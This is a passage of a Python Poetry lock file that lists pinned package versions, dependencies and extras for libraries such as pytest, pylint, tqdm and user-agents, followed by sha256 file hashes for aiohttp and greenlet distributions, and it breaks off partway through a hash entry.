"pygments" 572 | version = "2.10.0" 573 | description = "Pygments is a syntax highlighting package written in Python." 574 | category = "dev" 575 | optional = false 576 | python-versions = ">=3.5" 577 | 578 | [[package]] 579 | name = "pylint" 580 | version = "2.9.6" 581 | description = "python code static checker" 582 | category = "dev" 583 | optional = false 584 | python-versions = "~=3.6" 585 | 586 | [package.dependencies] 587 | astroid = ">=2.6.5,<2.7" 588 | colorama = {version = "*", markers = "sys_platform == \"win32\""} 589 | isort = ">=4.2.5,<6" 590 | mccabe = ">=0.6,<0.7" 591 | toml = ">=0.7.1" 592 | 593 | [[package]] 594 | name = "pynvim" 595 | version = "0.4.3" 596 | description = "Python client to neovim" 597 | category = "dev" 598 | optional = false 599 | python-versions = "*" 600 | 601 | [package.dependencies] 602 | greenlet = "*" 603 | msgpack = ">=0.5.0" 604 | 605 | [package.extras] 606 | pyuv = ["pyuv (>=1.0.0)"] 607 | test = ["pytest (>=3.4.0)"] 608 | 609 | [[package]] 610 | name = "pyparsing" 611 | version = "2.4.7" 612 | description = "Python parsing module" 613 | category = "dev" 614 | optional = false 615 | python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" 616 | 617 | [[package]] 618 | name = "pytest" 619 | version = "6.2.4" 620 | description = "pytest: simple powerful testing with Python" 621 | category = "dev" 622 | optional = false 623 | python-versions = ">=3.6" 624 | 625 | [package.dependencies] 626 | atomicwrites = {version = ">=1.0", markers = "sys_platform == \"win32\""} 627 | attrs = ">=19.2.0" 628 | colorama = {version = "*", markers = "sys_platform == \"win32\""} 629 | iniconfig = "*" 630 | packaging = "*" 631 | pluggy = ">=0.12,<1.0.0a1" 632 | py = ">=1.8.2" 633 | toml = "*" 634 | 635 | [package.extras] 636 | testing = ["argcomplete", "hypothesis (>=3.56)", "mock", "nose", "requests", "xmlschema"] 637 | 638 | [[package]] 639 | name = "pytest-check" 640 | version = "0.3.9" 641 | description = "A pytest plugin that allows multiple failures per test." 642 | category = "dev" 643 | optional = false 644 | python-versions = "*" 645 | 646 | [package.dependencies] 647 | pytest = ">=3.1.1" 648 | 649 | [package.extras] 650 | test = ["tox"] 651 | 652 | [[package]] 653 | name = "pytest-dependency" 654 | version = "0.5.1" 655 | description = "Manage dependencies of tests" 656 | category = "dev" 657 | optional = false 658 | python-versions = "*" 659 | 660 | [package.dependencies] 661 | pytest = ">=3.6.0" 662 | 663 | [[package]] 664 | name = "pytest-repeat" 665 | version = "0.9.1" 666 | description = "pytest plugin for repeating tests" 667 | category = "dev" 668 | optional = false 669 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" 670 | 671 | [package.dependencies] 672 | pytest = ">=3.6" 673 | 674 | [[package]] 675 | name = "python-dateutil" 676 | version = "2.8.2" 677 | description = "Extensions to the standard Python datetime module" 678 | category = "main" 679 | optional = false 680 | python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7" 681 | 682 | [package.dependencies] 683 | six = ">=1.5" 684 | 685 | [[package]] 686 | name = "radon" 687 | version = "4.5.2" 688 | description = "Code Metrics in Python" 689 | category = "dev" 690 | optional = false 691 | python-versions = "*" 692 | 693 | [package.dependencies] 694 | colorama = {version = ">=0.4.1", markers = "python_version > \"3.4\""} 695 | flake8-polyfill = "*" 696 | future = "*" 697 | mando = ">=0.6,<0.7" 698 | 699 | [[package]] 700 | name = "regex" 701 | version = "2021.8.3" 702 | description = "Alternative regular expression module, to replace re." 703 | category = "dev" 704 | optional = false 705 | python-versions = "*" 706 | 707 | [[package]] 708 | name = "six" 709 | version = "1.16.0" 710 | description = "Python 2 and 3 compatibility utilities" 711 | category = "main" 712 | optional = false 713 | python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*" 714 | 715 | [[package]] 716 | name = "snowballstemmer" 717 | version = "2.1.0" 718 | description = "This package provides 29 stemmers for 28 languages generated from Snowball algorithms." 719 | category = "dev" 720 | optional = false 721 | python-versions = "*" 722 | 723 | [[package]] 724 | name = "text-unidecode" 725 | version = "1.3" 726 | description = "The most basic Text::Unidecode port" 727 | category = "main" 728 | optional = false 729 | python-versions = "*" 730 | 731 | [[package]] 732 | name = "toml" 733 | version = "0.10.2" 734 | description = "Python Library for Tom's Obvious, Minimal Language" 735 | category = "dev" 736 | optional = false 737 | python-versions = ">=2.6, !=3.0.*, !=3.1.*, !=3.2.*" 738 | 739 | [[package]] 740 | name = "tqdm" 741 | version = "4.62.1" 742 | description = "Fast, Extensible Progress Meter" 743 | category = "main" 744 | optional = false 745 | python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,>=2.7" 746 | 747 | [package.dependencies] 748 | colorama = {version = "*", markers = "platform_system == \"Windows\""} 749 | 750 | [package.extras] 751 | dev = ["py-make (>=0.1.0)", "twine", "wheel"] 752 | notebook = ["ipywidgets (>=6)"] 753 | telegram = ["requests"] 754 | 755 | [[package]] 756 | name = "traitlets" 757 | version = "5.0.5" 758 | description = "Traitlets Python configuration system" 759 | category = "dev" 760 | optional = false 761 | python-versions = ">=3.7" 762 | 763 | [package.dependencies] 764 | ipython-genutils = "*" 765 | 766 | [package.extras] 767 | test = ["pytest"] 768 | 769 | [[package]] 770 | name = "typed-ast" 771 | version = "1.4.3" 772 | description = "a fork of Python 2 and 3 ast modules with type comment support" 773 | category = "dev" 774 | optional = false 775 | python-versions = "*" 776 | 777 | [[package]] 778 | name = "typing-extensions" 779 | version = "3.10.0.0" 780 | description = "Backported and Experimental Type Hints for Python 3.5+" 781 | category = "main" 782 | optional = false 783 | python-versions = "*" 784 | 785 | [[package]] 786 | name = "ua-parser" 787 | version = "0.10.0" 788 | description = "Python port of Browserscope's user agent parser" 789 | category = "main" 790 | optional = false 791 | python-versions = "*" 792 | 793 | [[package]] 794 | name = "untokenize" 795 | version = "0.1.1" 796 | description = "Transforms tokens into original source code (while preserving whitespace)." 797 | category = "dev" 798 | optional = false 799 | python-versions = "*" 800 | 801 | [[package]] 802 | name = "user-agents" 803 | version = "2.2.0" 804 | description = "A library to identify devices (phones, tablets) and their capabilities by parsing browser user agent strings." 805 | category = "main" 806 | optional = false 807 | python-versions = "*" 808 | 809 | [package.dependencies] 810 | ua-parser = ">=0.10.0" 811 | 812 | [[package]] 813 | name = "wcwidth" 814 | version = "0.2.5" 815 | description = "Measures the displayed width of unicode strings in a terminal" 816 | category = "dev" 817 | optional = false 818 | python-versions = "*" 819 | 820 | [[package]] 821 | name = "wrapt" 822 | version = "1.12.1" 823 | description = "Module for decorators, wrappers and monkey patching." 824 | category = "dev" 825 | optional = false 826 | python-versions = "*" 827 | 828 | [[package]] 829 | name = "yarl" 830 | version = "1.6.3" 831 | description = "Yet another URL library" 832 | category = "main" 833 | optional = false 834 | python-versions = ">=3.6" 835 | 836 | [package.dependencies] 837 | idna = ">=2.0" 838 | multidict = ">=4.0" 839 | 840 | [metadata] 841 | lock-version = "1.1" 842 | python-versions = "^3.8" 843 | content-hash = "885766f6353e7357f86c59c7f04e0da9d80bbc8645e62cd1521c797f38cbb5a7" 844 | 845 | [metadata.files] 846 | aiohttp = [ 847 | {file = "aiohttp-3.7.4.post0-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:3cf75f7cdc2397ed4442594b935a11ed5569961333d49b7539ea741be2cc79d5"}, 848 | {file = "aiohttp-3.7.4.post0-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:4b302b45040890cea949ad092479e01ba25911a15e648429c7c5aae9650c67a8"}, 849 | {file = "aiohttp-3.7.4.post0-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:fe60131d21b31fd1a14bd43e6bb88256f69dfc3188b3a89d736d6c71ed43ec95"}, 850 | {file = "aiohttp-3.7.4.post0-cp36-cp36m-manylinux2014_i686.whl", hash = "sha256:393f389841e8f2dfc86f774ad22f00923fdee66d238af89b70ea314c4aefd290"}, 851 | {file = "aiohttp-3.7.4.post0-cp36-cp36m-manylinux2014_ppc64le.whl", hash = "sha256:c6e9dcb4cb338d91a73f178d866d051efe7c62a7166653a91e7d9fb18274058f"}, 852 | {file = "aiohttp-3.7.4.post0-cp36-cp36m-manylinux2014_s390x.whl", hash = "sha256:5df68496d19f849921f05f14f31bd6ef53ad4b00245da3195048c69934521809"}, 853 | {file = "aiohttp-3.7.4.post0-cp36-cp36m-manylinux2014_x86_64.whl", hash = "sha256:0563c1b3826945eecd62186f3f5c7d31abb7391fedc893b7e2b26303b5a9f3fe"}, 854 | {file = "aiohttp-3.7.4.post0-cp36-cp36m-win32.whl", hash = "sha256:3d78619672183be860b96ed96f533046ec97ca067fd46ac1f6a09cd9b7484287"}, 855 | {file = "aiohttp-3.7.4.post0-cp36-cp36m-win_amd64.whl", hash = "sha256:f705e12750171c0ab4ef2a3c76b9a4024a62c4103e3a55dd6f99265b9bc6fcfc"}, 856 | {file = "aiohttp-3.7.4.post0-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:230a8f7e24298dea47659251abc0fd8b3c4e38a664c59d4b89cca7f6c09c9e87"}, 857 | {file = "aiohttp-3.7.4.post0-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:2e19413bf84934d651344783c9f5e22dee452e251cfd220ebadbed2d9931dbf0"}, 858 | {file = "aiohttp-3.7.4.post0-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:e4b2b334e68b18ac9817d828ba44d8fcb391f6acb398bcc5062b14b2cbeac970"}, 859 | {file = "aiohttp-3.7.4.post0-cp37-cp37m-manylinux2014_i686.whl", hash = "sha256:d012ad7911653a906425d8473a1465caa9f8dea7fcf07b6d870397b774ea7c0f"}, 860 | {file = "aiohttp-3.7.4.post0-cp37-cp37m-manylinux2014_ppc64le.whl", hash = "sha256:40eced07f07a9e60e825554a31f923e8d3997cfc7fb31dbc1328c70826e04cde"}, 861 | {file = "aiohttp-3.7.4.post0-cp37-cp37m-manylinux2014_s390x.whl", hash = "sha256:209b4a8ee987eccc91e2bd3ac36adee0e53a5970b8ac52c273f7f8fd4872c94c"}, 862 | {file = "aiohttp-3.7.4.post0-cp37-cp37m-manylinux2014_x86_64.whl", hash = "sha256:14762875b22d0055f05d12abc7f7d61d5fd4fe4642ce1a249abdf8c700bf1fd8"}, 863 | {file = "aiohttp-3.7.4.post0-cp37-cp37m-win32.whl", hash = "sha256:7615dab56bb07bff74bc865307aeb89a8bfd9941d2ef9d817b9436da3a0ea54f"}, 864 | {file = "aiohttp-3.7.4.post0-cp37-cp37m-win_amd64.whl", hash = "sha256:d9e13b33afd39ddeb377eff2c1c4f00544e191e1d1dee5b6c51ddee8ea6f0cf5"}, 865 | {file = "aiohttp-3.7.4.post0-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:547da6cacac20666422d4882cfcd51298d45f7ccb60a04ec27424d2f36ba3eaf"}, 866 | {file = "aiohttp-3.7.4.post0-cp38-cp38-manylinux1_i686.whl", hash = "sha256:af9aa9ef5ba1fd5b8c948bb11f44891968ab30356d65fd0cc6707d989cd521df"}, 867 | {file = "aiohttp-3.7.4.post0-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:64322071e046020e8797117b3658b9c2f80e3267daec409b350b6a7a05041213"}, 868 | {file = "aiohttp-3.7.4.post0-cp38-cp38-manylinux2014_i686.whl", hash = "sha256:bb437315738aa441251214dad17428cafda9cdc9729499f1d6001748e1d432f4"}, 869 | {file = "aiohttp-3.7.4.post0-cp38-cp38-manylinux2014_ppc64le.whl", hash = "sha256:e54962802d4b8b18b6207d4a927032826af39395a3bd9196a5af43fc4e60b009"}, 870 | {file = "aiohttp-3.7.4.post0-cp38-cp38-manylinux2014_s390x.whl", hash = "sha256:a00bb73540af068ca7390e636c01cbc4f644961896fa9363154ff43fd37af2f5"}, 871 | {file = "aiohttp-3.7.4.post0-cp38-cp38-manylinux2014_x86_64.whl", hash = "sha256:79ebfc238612123a713a457d92afb4096e2148be17df6c50fb9bf7a81c2f8013"}, 872 | {file = "aiohttp-3.7.4.post0-cp38-cp38-win32.whl", hash = "sha256:515dfef7f869a0feb2afee66b957cc7bbe9ad0cdee45aec7fdc623f4ecd4fb16"}, 873 | {file = "aiohttp-3.7.4.post0-cp38-cp38-win_amd64.whl", hash = "sha256:114b281e4d68302a324dd33abb04778e8557d88947875cbf4e842c2c01a030c5"}, 874 | {file = "aiohttp-3.7.4.post0-cp39-cp39-macosx_10_14_x86_64.whl", hash = "sha256:7b18b97cf8ee5452fa5f4e3af95d01d84d86d32c5e2bfa260cf041749d66360b"}, 875 | {file = "aiohttp-3.7.4.post0-cp39-cp39-manylinux1_i686.whl", hash = "sha256:15492a6368d985b76a2a5fdd2166cddfea5d24e69eefed4630cbaae5c81d89bd"}, 876 | {file = "aiohttp-3.7.4.post0-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:bdb230b4943891321e06fc7def63c7aace16095be7d9cf3b1e01be2f10fba439"}, 877 | {file = "aiohttp-3.7.4.post0-cp39-cp39-manylinux2014_i686.whl", hash = "sha256:cffe3ab27871bc3ea47df5d8f7013945712c46a3cc5a95b6bee15887f1675c22"}, 878 | {file = "aiohttp-3.7.4.post0-cp39-cp39-manylinux2014_ppc64le.whl", hash = "sha256:f881853d2643a29e643609da57b96d5f9c9b93f62429dcc1cbb413c7d07f0e1a"}, 879 | {file = "aiohttp-3.7.4.post0-cp39-cp39-manylinux2014_s390x.whl", hash = "sha256:a5ca29ee66f8343ed336816c553e82d6cade48a3ad702b9ffa6125d187e2dedb"}, 880 | {file = "aiohttp-3.7.4.post0-cp39-cp39-manylinux2014_x86_64.whl", hash = "sha256:17c073de315745a1510393a96e680d20af8e67e324f70b42accbd4cb3315c9fb"}, 881 | {file = "aiohttp-3.7.4.post0-cp39-cp39-win32.whl", hash = "sha256:932bb1ea39a54e9ea27fc9232163059a0b8855256f4052e776357ad9add6f1c9"}, 882 | {file = "aiohttp-3.7.4.post0-cp39-cp39-win_amd64.whl", hash = "sha256:02f46fc0e3c5ac58b80d4d56eb0a7c7d97fcef69ace9326289fb9f1955e65cfe"}, 883 | {file = "aiohttp-3.7.4.post0.tar.gz", hash = "sha256:493d3299ebe5f5a7c66b9819eacdcfbbaaf1a8e84911ddffcdc48888497afecf"}, 884 | ] 885 | aiosmtplib = [ 886 | {file = "aiosmtplib-1.1.6-py3-none-any.whl", hash = "sha256:84174765778b2c5e0e207fbce0a769202fcf0c3de81faa87cc03551a6333bfa9"}, 887 | {file = "aiosmtplib-1.1.6.tar.gz", hash = "sha256:d138fe6ffecbc9e6320269690b9ac0b75e540ef96e8f5c77d4a306760014dce2"}, 888 | ] 889 | appdirs = [ 890 | {file = "appdirs-1.4.4-py2.py3-none-any.whl", hash = "sha256:a841dacd6b99318a741b166adb07e19ee71a274450e68237b4650ca1055ab128"}, 891 | {file = "appdirs-1.4.4.tar.gz", hash = "sha256:7d5d0167b2b1ba821647616af46a749d1c653740dd0d2415100fe26e27afdf41"}, 892 | ] 893 | appnope = [ 894 | {file = "appnope-0.1.2-py2.py3-none-any.whl", hash = "sha256:93aa393e9d6c54c5cd570ccadd8edad61ea0c4b9ea7a01409020c9aa019eb442"}, 895 | {file = "appnope-0.1.2.tar.gz", hash = "sha256:dd83cd4b5b460958838f6eb3000c660b1f9caf2a5b1de4264e941512f603258a"}, 896 | ] 897 | astroid = [ 898 | {file = "astroid-2.6.6-py3-none-any.whl", hash = "sha256:ab7f36e8a78b8e54a62028ba6beef7561db4cdb6f2a5009ecc44a6f42b5697ef"}, 899 | {file = "astroid-2.6.6.tar.gz", hash = "sha256:3975a0bd5373bdce166e60c851cfcbaf21ee96de80ec518c1f4cb3e94c3fb334"}, 900 | ] 901 | async-timeout = [ 902 | {file = "async-timeout-3.0.1.tar.gz", hash = "sha256:0c3c816a028d47f659d6ff5c745cb2acf1f966da1fe5c19c77a70282b25f4c5f"}, 903 | {file = "async_timeout-3.0.1-py3-none-any.whl", hash = "sha256:4291ca197d287d274d0b6cb5d6f8f8f82d434ed288f962539ff18cc9012f9ea3"}, 904 | ] 905 | atomicwrites = [ 906 | {file = "atomicwrites-1.4.0-py2.py3-none-any.whl", hash = "sha256:6d1784dea7c0c8d4a5172b6c620f40b6e4cbfdf96d783691f2e1302a7b88e197"}, 907 | {file = "atomicwrites-1.4.0.tar.gz", hash = "sha256:ae70396ad1a434f9c7046fd2dd196fc04b12f9e91ffb859164193be8b6168a7a"}, 908 | ] 909 | attrs = [ 910 | {file = "attrs-21.2.0-py2.py3-none-any.whl", hash = "sha256:149e90d6d8ac20db7a955ad60cf0e6881a3f20d37096140088356da6c716b0b1"}, 911 | {file = "attrs-21.2.0.tar.gz", hash = "sha256:ef6aaac3ca6cd92904cdd0d83f629a15f18053ec84e6432106f7a4d04ae4f5fb"}, 912 | ] 913 | autoflake = [ 914 | {file = "autoflake-1.4.tar.gz", hash = "sha256:61a353012cff6ab94ca062823d1fb2f692c4acda51c76ff83a8d77915fba51ea"}, 915 | ] 916 | backcall = [ 917 | {file = "backcall-0.2.0-py2.py3-none-any.whl", hash = "sha256:fbbce6a29f263178a1f7915c1940bde0ec2b2a967566fe1c65c1dfb7422bd255"}, 918 | {file = "backcall-0.2.0.tar.gz", hash = "sha256:5cbdbf27be5e7cfadb448baf0aa95508f91f2bbc6c6437cd9cd06e2a4c215e1e"}, 919 | ] 920 | black = [ 921 | {file = "black-19.10b0-py36-none-any.whl", hash = "sha256:1b30e59be925fafc1ee4565e5e08abef6b03fe455102883820fe5ee2e4734e0b"}, 922 | {file = "black-19.10b0.tar.gz", hash = "sha256:c2edb73a08e9e0e6f65a0e6af18b059b8b1cdd5bef997d7a0b181df93dc81539"}, 923 | ] 924 | chardet = [ 925 | {file = "chardet-4.0.0-py2.py3-none-any.whl", hash = "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5"}, 926 | {file = "chardet-4.0.0.tar.gz", hash = "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa"}, 927 | ] 928 | click = [ 929 | {file = "click-8.0.1-py3-none-any.whl", hash = "sha256:fba402a4a47334742d782209a7c79bc448911afe1149d07bdabdf480b3e2f4b6"}, 930 | {file = "click-8.0.1.tar.gz", hash = "sha256:8c04c11192119b1ef78ea049e0a6f0463e4c48ef00a30160c704337586f3ad7a"}, 931 | ] 932 | colorama = [ 933 | {file = "colorama-0.4.4-py2.py3-none-any.whl", hash = "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2"}, 934 | {file = "colorama-0.4.4.tar.gz", hash = "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b"}, 935 | ] 936 | decorator = [ 937 | {file = "decorator-5.0.9-py3-none-any.whl", hash = "sha256:6e5c199c16f7a9f0e3a61a4a54b3d27e7dad0dbdde92b944426cb20914376323"}, 938 | {file = "decorator-5.0.9.tar.gz", hash = "sha256:72ecfba4320a893c53f9706bebb2d55c270c1e51a28789361aa93e4a21319ed5"}, 939 | ] 940 | docformatter = [ 941 | {file = "docformatter-1.4.tar.gz", hash = "sha256:064e6d81f04ac96bc0d176cbaae953a0332482b22d3ad70d47c8a7f2732eef6f"}, 942 | ] 943 | faker = [ 944 | {file = "Faker-7.0.1-py3-none-any.whl", hash = "sha256:08c4cfbfd498c0e90aff6741771c01803d894013df858db6a573182c6a47951f"}, 945 | {file = "Faker-7.0.1.tar.gz", hash = "sha256:20c6e4253b73ef2a783d38e085e7c8d8916295fff31c7403116d2af8f908f7ca"}, 946 | ] 947 | flake8 = [ 948 | {file = "flake8-3.9.2-py2.py3-none-any.whl", hash = "sha256:bf8fd333346d844f616e8d47905ef3a3384edae6b4e9beb0c5101e25e3110907"}, 949 | {file = "flake8-3.9.2.tar.gz", hash = "sha256:07528381786f2a6237b061f6e96610a4167b226cb926e2aa2b6b1d78057c576b"}, 950 | ] 951 | flake8-polyfill = [ 952 | {file = "flake8-polyfill-1.0.2.tar.gz", hash = "sha256:e44b087597f6da52ec6393a709e7108b2905317d0c0b744cdca6208e670d8eda"}, 953 | {file = "flake8_polyfill-1.0.2-py2.py3-none-any.whl", hash = "sha256:12be6a34ee3ab795b19ca73505e7b55826d5f6ad7230d31b18e106400169b9e9"}, 954 | ] 955 | future = [ 956 | {file = "future-0.18.2.tar.gz", hash = "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d"}, 957 | ] 958 | greenlet = [ 959 | {file = "greenlet-1.1.1-cp27-cp27m-macosx_10_14_x86_64.whl", hash = "sha256:476ba9435afaead4382fbab8f1882f75e3fb2285c35c9285abb3dd30237f9142"}, 960 | {file = "greenlet-1.1.1-cp27-cp27m-manylinux1_x86_64.whl", hash = "sha256:44556302c0ab376e37939fd0058e1f0db2e769580d340fb03b01678d1ff25f68"}, 961 | {file = "greenlet-1.1.1-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:40abb7fec4f6294225d2b5464bb6d9552050ded14a7516588d6f010e7e366dcc"}, 962 | {file = "greenlet-1.1.1-cp27-cp27m-win32.whl", hash = "sha256:a11b6199a0b9dc868990456a2667167d0ba096c5224f6258e452bfbe5a9742c5"}, 963 | {file = "greenlet-1.1.1-cp27-cp27m-win_amd64.whl", hash = "sha256:e22a82d2b416d9227a500c6860cf13e74060cf10e7daf6695cbf4e6a94e0eee4"}, 964 | {file = "greenlet-1.1.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:bad269e442f1b7ffa3fa8820b3c3aa66f02a9f9455b5ba2db5a6f9eea96f56de"}, 965 | {file = "greenlet-1.1.1-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:8ddb38fb6ad96c2ef7468ff73ba5c6876b63b664eebb2c919c224261ae5e8378"}, 966 | {file = "greenlet-1.1.1-cp310-cp310-macosx_10_14_x86_64.whl", hash = "sha256:84782c80a433d87530ae3f4b9ed58d4a57317d9918dfcc6a59115fa2d8731f2c"}, 967 | {file = "greenlet-1.1.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ac991947ca6533ada4ce7095f0e28fe25d5b2f3266ad5b983ed4201e61596acf"}, 968 | {file = "greenlet-1.1.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5317701c7ce167205c0569c10abc4bd01c7f4cf93f642c39f2ce975fa9b78a3c"}, 969 | {file = "greenlet-1.1.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4870b018ca685ff573edd56b93f00a122f279640732bb52ce3a62b73ee5c4a92"}, 970 | {file = "greenlet-1.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:990e0f5e64bcbc6bdbd03774ecb72496224d13b664aa03afd1f9b171a3269272"}, 971 | {file = "greenlet-1.1.1-cp35-cp35m-macosx_10_14_x86_64.whl", hash = "sha256:a414f8e14aa7bacfe1578f17c11d977e637d25383b6210587c29210af995ef04"}, 972 | {file = "greenlet-1.1.1-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:e02780da03f84a671bb4205c5968c120f18df081236d7b5462b380fd4f0b497b"}, 973 | {file = "greenlet-1.1.1-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:dfcb5a4056e161307d103bc013478892cfd919f1262c2bb8703220adcb986362"}, 974 | {file = "greenlet-1.1.1-cp35-cp35m-win32.whl", hash = "sha256:655ab836324a473d4cd8cf231a2d6f283ed71ed77037679da554e38e606a7117"}, 975 | {file = "greenlet-1.1.1-cp35-cp35m-win_amd64.whl", hash = "sha256:6ce9d0784c3c79f3e5c5c9c9517bbb6c7e8aa12372a5ea95197b8a99402aa0e6"}, 976 | {file = "greenlet-1.1.1-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:3fc6a447735749d651d8919da49aab03c434a300e9f0af1c886d560405840fd1"}, 977 | {file = "greenlet-1.1.1-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:8039f5fe8030c43cd1732d9a234fdcbf4916fcc32e21745ca62e75023e4d4649"}, 978 | {file = "greenlet-1.1.1-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:fddfb31aa2ac550b938d952bca8a87f1db0f8dc930ffa14ce05b5c08d27e7fd1"}, 979 | {file = "greenlet-1.1.1-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b97a807437b81f90f85022a9dcfd527deea38368a3979ccb49d93c9198b2c722"}, 980 | {file = "greenlet-1.1.1-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:cf31e894dabb077a35bbe6963285d4515a387ff657bd25b0530c7168e48f167f"}, 981 | {file = "greenlet-1.1.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4eae94de9924bbb4d24960185363e614b1b62ff797c23dc3c8a7c75bbb8d187e"}, 982 | {file = "greenlet-1.1.1-cp36-cp36m-win32.whl", hash = "sha256:c1862f9f1031b1dee3ff00f1027fcd098ffc82120f43041fe67804b464bbd8a7"}, 983 | {file = "greenlet-1.1.1-cp36-cp36m-win_amd64.whl", hash = "sha256:9b02e6039eafd75e029d8c58b7b1f3e450ca563ef1fe21c7e3e40b9936c8d03e"}, 984 | {file = "greenlet-1.1.1-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:84488516639c3c5e5c0e52f311fff94ebc45b56788c2a3bfe9cf8e75670f4de3"}, 985 | {file = "greenlet-1.1.1-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:3f8fc59bc5d64fa41f58b0029794f474223693fd00016b29f4e176b3ee2cfd9f"}, 986 | {file = "greenlet-1.1.1-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:3e594015a2349ec6dcceda9aca29da8dc89e85b56825b7d1f138a3f6bb79dd4c"}, 987 | {file = "greenlet-1.1.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e41f72f225192d5d4df81dad2974a8943b0f2d664a2a5cfccdf5a01506f5523c"}, 988 | {file = "greenlet-1.1.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:75ff270fd05125dce3303e9216ccddc541a9e072d4fc764a9276d44dee87242b"}, 989 | {file = "greenlet-1.1.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5cde7ee190196cbdc078511f4df0be367af85636b84d8be32230f4871b960687"}, 990 | {file = "greenlet-1.1.1-cp37-cp37m-win32.whl", hash = "sha256:f253dad38605486a4590f9368ecbace95865fea0f2b66615d121ac91fd1a1563"}, 991 | {file = "greenlet-1.1.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a91ee268f059583176c2c8b012a9fce7e49ca6b333a12bbc2dd01fc1a9783885"}, 992 | {file = "greenlet-1.1.1-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:34e6675167a238bede724ee60fe0550709e95adaff6a36bcc97006c365290384"}, 993 | {file = "greenlet-1.1.1-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:bf3725d79b1ceb19e83fb1aed44095518c0fcff88fba06a76c0891cfd1f36837"}, 994 | {file = "greenlet-1.1.1-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:5c3b735ccf8fc8048664ee415f8af5a3a018cc92010a0d7195395059b4b39b7d"}, 995 | {file = "greenlet-1.1.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e2002a59453858c7f3404690ae80f10c924a39f45f6095f18a985a1234c37334"}, 996 | {file = "greenlet-1.1.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:04e1849c88aa56584d4a0a6e36af5ec7cc37993fdc1fda72b56aa1394a92ded3"}, 997 | {file = "greenlet-1.1.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c8d4ed48eed7414ccb2aaaecbc733ed2a84c299714eae3f0f48db085342d5629"}, 998 | {file = "greenlet-1.1.1-cp38-cp38-win32.whl", hash = "sha256:2f89d74b4f423e756a018832cd7a0a571e0a31b9ca59323b77ce5f15a437629b"}, 999 | {file = "greenlet-1.1.1-cp38-cp38-win_amd64.whl", hash = "sha256:d15cb6f8706678dc47fb4e4f8b339937b04eda48a0af1cca95f180db552e7663"}, 1000 | {file = "greenlet-1.1.1-cp39-cp39-macosx_10_14_x86_64.whl", hash = "sha256:b050dbb96216db273b56f0e5960959c2b4cb679fe1e58a0c3906fa0a60c00662"}, 1001 | {file = "greenlet-1.1.1-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:6e0696525500bc8aa12eae654095d2260db4dc95d5c35af2b486eae1bf914ccd"}, 1002 | {file = "greenlet-1.1.1-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:07e6d88242e09b399682b39f8dfa1e7e6eca66b305de1ff74ed9eb1a7d8e539c"}, 1003 | {file = "greenlet-1.1.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:98b491976ed656be9445b79bc57ed21decf08a01aaaf5fdabf07c98c108111f6"}, 1004 | {file = "greenlet-1.1.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:05e72db813c28906cdc59bd0da7c325d9b82aa0b0543014059c34c8c4ad20e16"}, 1005 | {file = "greenlet-1.1.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:090126004c8ab9cd0787e2acf63d79e80ab41a18f57d6448225bbfcba475034f"}, 1006 | {file = "greenlet-1.1.1-cp39-cp39-win32.whl", hash = 